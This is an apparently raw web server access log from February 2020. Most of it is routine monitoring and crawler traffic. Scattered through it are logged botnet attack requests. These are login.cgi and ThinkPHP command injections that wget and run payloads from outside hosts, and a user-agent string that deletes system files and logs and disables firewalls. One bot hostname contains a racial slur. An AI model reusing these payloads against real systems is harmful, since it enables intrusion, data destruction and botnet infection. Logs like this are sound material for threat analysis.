81.215.212.192 - - [17/Feb/2020:12:54:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:12:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.11.74.71 - - [17/Feb/2020:12:56:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
81.213.166.62 - - [17/Feb/2020:12:57:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:12:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.80.131.85 - - [17/Feb/2020:13:02:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:13:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.97.253.117 - - [17/Feb/2020:13:05:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:13:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.14.134.10 - - [17/Feb/2020:13:07:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:13:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.213.156 - - [17/Feb/2020:13:10:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:13:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.101.58.3 - - [17/Feb/2020:13:10:50 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [17/Feb/2020:13:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.185.189.232 - - [17/Feb/2020:13:19:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:13:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.89.144.131 - - [17/Feb/2020:13:21:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [17/Feb/2020:13:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [17/Feb/2020:13:24:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [17/Feb/2020:13:24:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [17/Feb/2020:13:24:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
91.106.94.83 - - [17/Feb/2020:13:24:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
220.116.93.35 - - [17/Feb/2020:13:24:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:13:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [17/Feb/2020:13:24:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:13:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.166.102.80 - - [17/Feb/2020:13:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:13:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [17/Feb/2020:13:32:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:13:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.101.163.104 - - [17/Feb/2020:13:36:08 +0100] "{D79E94C5-70F0" 501 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:13:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.109 - - [17/Feb/2020:13:36:43 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
151.80.39.39 - - [17/Feb/2020:13:36:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [17/Feb/2020:13:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
158.181.235.100 - - [17/Feb/2020:13:38:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:13:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.190.136.138 - - [17/Feb/2020:13:41:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:13:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.127.255.70 - - [17/Feb/2020:13:42:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:13:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.164.103.122 - - [17/Feb/2020:13:44:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:13:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.181.45.238 - - [17/Feb/2020:13:46:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:13:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.139.182.190 - - [17/Feb/2020:13:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:13:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.28 - - [17/Feb/2020:13:48:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [17/Feb/2020:13:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.231.67.20 - - [17/Feb/2020:13:49:26 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [17/Feb/2020:13:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.185.127.156 - - [17/Feb/2020:13:49:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:13:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.76.135.247 - - [17/Feb/2020:13:51:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:13:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.174.194.66 - - [17/Feb/2020:13:51:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:13:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.199.180 - - [17/Feb/2020:13:53:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:13:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:13:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.81.5.149 - - [17/Feb/2020:13:59:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:13:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.5.40.117 - - [17/Feb/2020:14:03:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:14:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.182.15.135 - - [17/Feb/2020:14:05:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:14:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.77.51.27 - - [17/Feb/2020:14:09:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
78.158.184.51 - - [17/Feb/2020:14:10:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:14:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.185.189.232 - - [17/Feb/2020:14:12:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:14:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.90.103 - - [17/Feb/2020:14:15:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:14:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.225.181 - - [17/Feb/2020:14:15:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:14:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.102.93.228 - - [17/Feb/2020:14:16:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:14:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
